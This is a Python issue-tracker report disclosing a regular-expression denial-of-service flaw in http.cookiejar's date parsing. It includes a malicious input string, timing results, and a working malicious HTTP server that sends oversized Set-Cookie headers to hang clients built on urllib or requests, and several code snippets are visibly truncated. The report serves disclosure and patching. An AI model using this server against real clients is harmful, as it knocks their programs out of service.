This issue tracker has been migrated to GitHub, and is currently read-only.
For more information, see the GitHub FAQs in the Python's Developer Guide.

Author bc
Recipients bc
Date 2019-11-14.23:37:59
SpamBayes Score -1.0
Marked as misclassified Yes
Message-id <>
The regex http.cookiejar.LOOSE_HTTP_DATE_RE iss vulnerable to regular
expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cookie headers returned by a server. Processing a response from a malicious HTTP server can lead to extreme CPU usage and execution will be blocked for a long time.

The regex http.cookiejar.LOOSE_HTTP_DATE_RE contains multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex can be simplified to


Therefore, a long sequence of spaces can trigger bad performance.
LOOSE_HTTP_DATE_RE backtracks if last character doesn't match \s or (?![APap][Mm]\b)[A-Za-z]+

Matching a malicious string such as

    LOOSE_HTTP_DATE_RE.match("1-1-1" + (" " * 2000) + "!")

will cause catastrophic backtracking.

Timing test:

    import http.cookiejar
    import timeit

    def run(n_spaces):
        assert n_spaces <= 65506, "Set-Cookie header line must be <= 65536"
        spaces = " " * n_spaces
        expires = f"1-1-1{spaces}!"
        http2time = http.cookiejar.http2time
        t = timeit.Timer(
        print(n_spaces, "{:.3g}".format(t.autorange()[1]))

    i = 512
    while True:
        i <<= 1

Timeit output (seconds) on my computer when doubling the number of spaces:

    512     0.383
    1024    3.02
    2048   23.4
    4096  184
    8192 1700

As expected it's approx O(n^3). The maximum n_spaces to fit in a Set-Cookie header is 65506 which will take days.

You can create a malicious server which responds with Set-Cookie headers to attack all python programs which access it e.g.

    from http.server import BaseHTTPRequestHandler, HTTPServer

    def make_set_cookie_value(n_spaces):
        spaces = " " * n_spaces
        expiry = f"1-1-1{spaces}!"
        return f"x;Expires={expiry}"

    class Handler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.send_response_only(204)  # Don't bother sending Server and Date
            n_spaces = (
                int(self.path[1:])  # Can GET e.g. /100 to test shorter sequences
                if len(self.path) > 1 else
                65506  # Max header line length 65536
            value = make_set_cookie_value(n_spaces)
            for i in range(99):  # Not necessary, but we can have up to 100 header lines
                self.send_header("Set-Cookie", value)

    if __name__ == "__main__":
        HTTPServer(("", 44020), Handler).serve_forever()

This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.

Vulnerable client using the example at the bottom of :

    import http.cookiejar, urllib.request
    cj = http.cookiejar.CookieJar()
    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
    r ="http://localhost:44020/")

The popular requests library is also vulnerable without any additional options (as it uses http.cookiejar by default):

    import requests

As such, python applications need to be careful not to visit malicious servers.

I have a patch. Will make a PR soon.
This was originally submitted to the security list, but posted here 'since this is "merely" a DoS attack and not a privilege escalation'.

- Ben
Date User Action Args
2019-11-14 23:38:00bcsetrecipients: + bc
2019-11-14 23:38:00bcsetmessageid: <>
2019-11-14 23:37:59bclinkissue38804 messages
2019-11-14 23:37:59bccreate